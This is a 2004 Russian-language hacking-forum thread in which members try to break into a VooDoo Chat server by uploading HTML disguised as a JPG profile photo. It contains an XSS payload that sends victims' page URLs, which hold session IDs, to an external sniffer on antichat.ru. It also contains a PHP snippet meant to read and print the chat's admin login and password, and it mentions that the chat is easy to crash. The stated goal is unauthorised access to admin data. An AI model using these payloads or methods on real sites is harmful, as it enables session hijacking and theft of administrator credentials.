Чаты Есть воможность залить произвольный ХТМЛ

Discussion in 'Веб-уязвимости' started by NoOne, 2 Nov 2004.

  1. NoOne

    NoOne New Member

    Joined:
    30 Oct 2004
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    Есть чат, есть возможность залить на сервер произвольную ХТМЛ страничку, соответственно будет рабоатть, например,
    <script&gt;alert(document.location)&lt;/script&gt;
    Брал любую страничку (например, yandex.ru) и заливал на сервер чата, эта страничка показывалась со всеми скриптами и т.д.

    Если залить РНР, то видин листинг самого РНР, но выполнения нет.

    Известна структура каталогов и какие файлы где лежат на сервере.

    Как можно увидить листинг необходимого мне файла на сервере (путь и название известны)?
    Вообще, что можно сделать в данном случае?
    Перехват куки и реферов... скажем так, сессия самих пользователей мне не нужна, лучше получить доступ к файлу, где хранятся данные об админах...

    Как можно выполнить РНР как бы не напрямую, а через ХТМЛ, или залить РНР в другую директорию, где разрешено выполнение РНР?

    Сорри за глупые вопросы, я пока только учусь :)
     
  2. NoOne

    NoOne New Member

    Joined:
    30 Oct 2004
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    Может кто-нить подскажет, что я неправильно делаю?

    Загрузил я в анкету вместо фотки следующий код
    &lt;html&gt;
    &lt;head&gt;
    ......
    &lt;/head&gt;
    &lt;body&gt;
    &lt;tr&gt;&lt;td&gt;&lt;img src=&quot;http://chat/photos/26.jpg&quot;&gt;&lt;img src=javascript:document.images[1].src=&quot;http://antichat.ru/cgi-bin/s.jpg?zz_&quot;+document.location.href&gt;&lt;/td&gt;&lt;/tr&gt;
    &lt;/body&gt;
    &lt;/html&gt;

    Соответственно, при просмотре анкеты пользователя, на вместо фото ничего не показывается - стоит крестик, мол фото не загружено, но при прямом обращении к фото
    http://chat/photos/113.jpg идет показ фото из другой анкеты 26.jpg, ну и исполняется ява-скрипт.

    Но вот в поле снифера видно только следующее
    REFERER=http://chat/photos/113.jpg
    QUERY=zz_http://chat/photos/113.jpg
    хотя саму ссылку я давал в окне чата... за обработку ссылок в чате отвечает РНР - http://chat/go.php?url=http://chat/photos/113.jpg

    PS. opener.location у меня не работает.

    Каким образом можно перехватить УРЛ, т.к. в нем как раз и содержится сессия?
     
  3. Algol

    Algol New Member

    Joined:
    29 May 2002
    Messages:
    1,759
    Likes Received:
    4
    Reputations:
    0
    Если в папке запрещено выполнение пхп, то толку от заливки php нет.
    Еще можно попробовать посмотреть файлы через иклудинги shtml (если сервер их поддреживает)
     
  4. NoOne

    NoOne New Member

    Joined:
    30 Oct 2004
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    Да. смысла никакого, поэтому интересует вопрос, как можно залив сначала в одну директорию (где фото) перезалить в другую (где возможно выполнение РНР) при помощи ХТМЛ. Извиняюсь заранее за столь глупый вопрос, просто только учусь. Если я неправ, поправте меня или дайте ссылочку, где говорится в чем я неправ.

    инклудинги SHTML по всей видимости не работают.. делаю следующее:
    &lt;html&gt;
    &lt;head&gt;
    &lt;/head&gt;
    &lt;body&gt;
    &lt;tr&gt;&lt;td&gt;
    &lt;img src=&quot;http://chat/photos/26.big.jpg&quot;&gt;
    <script src=&quot;http://antichat.ru/cgi-bin/s.jpg?zz_&quot;+document.location.href&gt;
    &lt;/script&gt;
    <!--#echo var=&quot;LAST_MODIFIED&quot; -->
    &lt;/td&gt;&lt;/tr&gt;
    &lt;/body&gt;
    &lt;/html&gt;

    Никаких сообщений от сервера о времени последнего обновления странички нет.... только фото...

    Интересует такой вопрос, в руководствах по Апачу пишется:
    An alternative method of telling the server which files include SSI commands is to use the so-called XBitHack. This involves setting the execute bit on HTML files. Any file with a content type of text/html (i.e. an extension .html) and with the execute bit set will be checked for SSI commands.

    Что это за Исполняемый Бит (execute bit) внутри ХТМЛ? И как его установить?  Или я что-то не так понял?

    И вот еще что - почему все же в поле Реферер стоит ссылка точно такая же, какую я даю в Чат, т.е. http://chat/photos/113.jpg, а не ссылка с информацией о том пользователе, который кликнул по моей ссылке?
     
  5. Fr1k

    Fr1k Elder - Старейшина

    Joined:
    11 Jun 2004
    Messages:
    252
    Likes Received:
    4
    Reputations:
    0
    Понятно... вообщем работа идт с &quot;VooDoo Chat&quot;
    Итак нащёт первого:
    того что в поле снифера отображаетса REFERER=http://chat/photos/113.jpg
    QUERY=zz_http://chat/photos/113.jpg
    потому когда ты отсылаешь своё фото на сервер он скриптом обрабатывает его и сохраняет на сервере итого твой скрипт имеет ввид картинки в которой сохранен этот код </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><html>
    <head>
    ......
    </head>
    <body>
    <tr><td><img src="http://chat/photos/26.jpg"><img src=javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?zz_"+document.location.href></td></tr>
    </body>
    </html>
    [/QUOTE]<span id='postcolor'>
    естественно формат гпг никак его не выполняит, естественно он тебе покажет квадрат картинки, которой не сущесвует...
    Ндааа только особо если не сложно объясни как тебе удалось залить туда ХТМЛ страницу и выполнить её... естетвенно если это вохможно то знаит возможно там всё...
    ХМ
     
  6. Fr1k

    Fr1k Elder - Старейшина

    Joined:
    11 Jun 2004
    Messages:
    252
    Likes Received:
    4
    Reputations:
    0
    Залить произвольный как ты сказал ХТМЛ вот особо что меня интересует, как помоему там такое было не возможно...
     
  7. NoOne

    NoOne New Member

    Joined:
    30 Oct 2004
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    Как я говорил в самом первом своем послании, любой произвольный ХТМЛ код заливается под видом картинки.

    Андрюш, ты же умный ))) ну сам догадайся ))) А хотя, ладно, я знаю, что у тя тоже есть заинтересованность проникнуть в этот чат ))) Токма просьба, не надо всяким Дельфи и прочим чудикам и дурачкам если что рассказывать... а то у них только деструктивные мысли появляются, а ведь наша цель не рушить, а просто исследовать.... Лично мне, надо Бота присоединить к этому чату, чтобы за нецензурщиной следил, а то ты сам знаешь, какие там админы, сами непрочь поматериться и на юзеров оторваться...

    Берем ХТМЛ код, сохраняем в файл и делаем расширение JPG, заливаем в чат под видом большой картинки (огранчение на 300 000 байт, но и это можно снять :) ), затем смотрим прямую ссылку на якобы картинку, например, будет http://chat/photos/0/1113.big.jpg (сам можешь посмотреть по этой ссылке что будет и исходный код).... Вот и все ....
     
  8. NoOne

    NoOne New Member

    Joined:
    30 Oct 2004
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    Кста, увалить чат достаточно легко, об этом есть пару веток обсуждений на самом форуме этого чата...

    Чат плохо переносит &quot;нагрузку&quot;....
    Это явно не chat.php.spb.ru по устойчивости к нагрузке....
     
  9. Algol

    Algol New Member

    Joined:
    29 May 2002
    Messages:
    1,759
    Likes Received:
    4
    Reputations:
    0
    Я так понял, что заливка происходит в файл с расширением jpg? Тогда понятно, что SSI не исполняется, ведь для него должно быть расширение shtml.
    Правда иногда SSI выполняется и в html, но это лишь при определнной настройке сервера (это и есть т.н. &quot;execute bit&quot;, т.е. установка, позворяющая считать html файлы исполняемыми скриптами)
     
  10. NoOne

    NoOne New Member

    Joined:
    30 Oct 2004
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    Странно, тогда почему пишется, что &quot;execute bit&quot; должен быть в ХТМЛ-документе?

    Any file with a content type of text/html (i.e. an extension .html) and with the execute bit set will be checked for SSI commands.

    Где все таки его устанавливать? Да, пишут, что XBitHack должен быть прописан в конфигах самого Апача, но одновременно пишут, что любой файл с типом содержимого text/html и с execute bit будет проверяться Апачем на SSI команды....
     
  11. Algol

    Algol New Member

    Joined:
    29 May 2002
    Messages:
    1,759
    Likes Received:
    4
    Reputations:
    0
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (NoOne @ ноября 04 2004,00:17)</td></tr><tr><td id="QUOTE">Странно, тогда почему пишется, что &quot;execute bit&quot; должен быть в ХТМЛ-документе?

    Any file with a content type of text/html (i.e. an extension .html) and with the execute bit set will be checked for SSI commands.[/QUOTE]<span id='postcolor'>
    Имеется ввиду бит X в атрибутах файла.
     
  12. Fr1k

    Fr1k Elder - Старейшина

    Joined:
    11 Jun 2004
    Messages:
    252
    Likes Received:
    4
    Reputations:
    0
    вообщем дело такого... да яваскрипт и вбскрипт заливаетса туда без проблем...
    в яве и ВБ есть возможность создавания файлов
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">
    <script language="JavaScript">

    var fso, tf;
    fso = new ActiveXObject("Scripting.FileSystemObject");
    tf = fso.CreateTextFile("c:\\testfile.txt", true);
    // Вставка строки с переносом на новую.
    tf.WriteLine("Testing 1, 2, 3.");
    // Вставка 3 путых строк.
    tf.WriteBlankLines(3);
    // Вставка новой строки, без переноса.
    tf.Write ("This is a test.");
    ' Закрытие файла.
    tf.Close();

    </script>

    [/QUOTE]<span id='postcolor'>
    и ВБ
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">
    <script language="VBScript">

    Dim fso, tf
    Set fso = CreateObject("Scripting.FileSystemObject")
    Set tf = fso.CreateTextFile("c:\testfile.txt", True)
    ' Вставка строки с переносом на новую.
    tf.WriteLine("Testing 1, 2, 3.")
    ' Вставка 3 путых строк.
    tf.WriteBlankLines(3)
    ' Вставка новой строки, без переноса.
    tf.Write ("This is a test.")
    ' Закрытие файла.
    tf.Close

    </script>

    [/QUOTE]<span id='postcolor'>

    Но всё дело в том что как это уже понятно протокло ХТТП не позволяет создавать,редактировать, и т.д. файлы... значит напрямую обращяясь к этому скрипту мы не создадим файл только его исполнив, значит пробовал залить файл этот и обратита к нему с под линуха тоесть var &quot;/usr/.../.../.../мой файл с созданием скрипта&quot;
    дело тоже тёмное... потому что это не возможно ГЫГ!!!
    значит можно подумать так как подключит инклайдом его... или попробовать просто закачать ремоте.пхп картинко... ну нужно его переминовать, снова возвращаемся к ява скрипту или ВБскрипт, и снова же только работа с одним протокол ХТТП, снова = 0!!!
    Может попробовать в ява скрипт или ВБскрипт обратитса к файлу админки чата... и попробовать его вывести... но я слылгал что это может как бы ВБскрипт, но ВБСкрипт я почти ваще не знаю... так что прошу знающих помочь
     
  13. Fr1k

    Fr1k Elder - Старейшина

    Joined:
    11 Jun 2004
    Messages:
    252
    Likes Received:
    4
    Reputations:
    0
    вообщем в итоге нужно запаять туда такой ПХПшник
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">
    <?
    require "/полны/путь/к/чату/admin/admin_users.php";
    print $admin_users[0]["nickname"];
    print "<br>";
    print $admin_users[0]["password"];

    ?>
    [/QUOTE]<span id='postcolor'>

    естественно если залить это файл туда и исполнить мы получим пароль и логин к админке
     
  14. Algol

    Algol New Member

    Joined:
    29 May 2002
    Messages:
    1,759
    Likes Received:
    4
    Reputations:
    0
    </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (frika @ ноября 04 2004,16:49)</td></tr><tr><td id="QUOTE">вообщем дело такого... да яваскрипт и вбскрипт заливаетса туда без проблем...
    в яве и ВБ есть возможность создавания файлов[/QUOTE]<span id='postcolor'>
    Этот скрипт создает файл на машине пользователя, а не на сервере !!
    На сервере он принципиально ничего создать не может, поскольку он выполняется на стороне клиента))
     
  15. Fr1k

    Fr1k Elder - Старейшина

    Joined:
    11 Jun 2004
    Messages:
    252
    Likes Received:
    4
    Reputations:
    0
    это понятно!!!! я ж уже сказал тчо хттп протокол ничего не даст!!! но АктикХ позволяет работать с файлами на червере... тоесть как и пхп и сги...
     
  16. Fr1k

    Fr1k Elder - Старейшина

    Joined:
    11 Jun 2004
    Messages:
    252
    Likes Received:
    4
    Reputations:
    0
    а вообще создавать особо там его не надо!!! ну жно только просмотреть файл админки!!! вот и нужно его юзать
     
  17. NoOne

    NoOne New Member

    Joined:
    30 Oct 2004
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    В манах по Java и VB пишется, что есть Серверные скрипты и есть Клиентские скрипты... так вот, как бы заставить сервер подумать, что надо выполнить Серверный скрипт?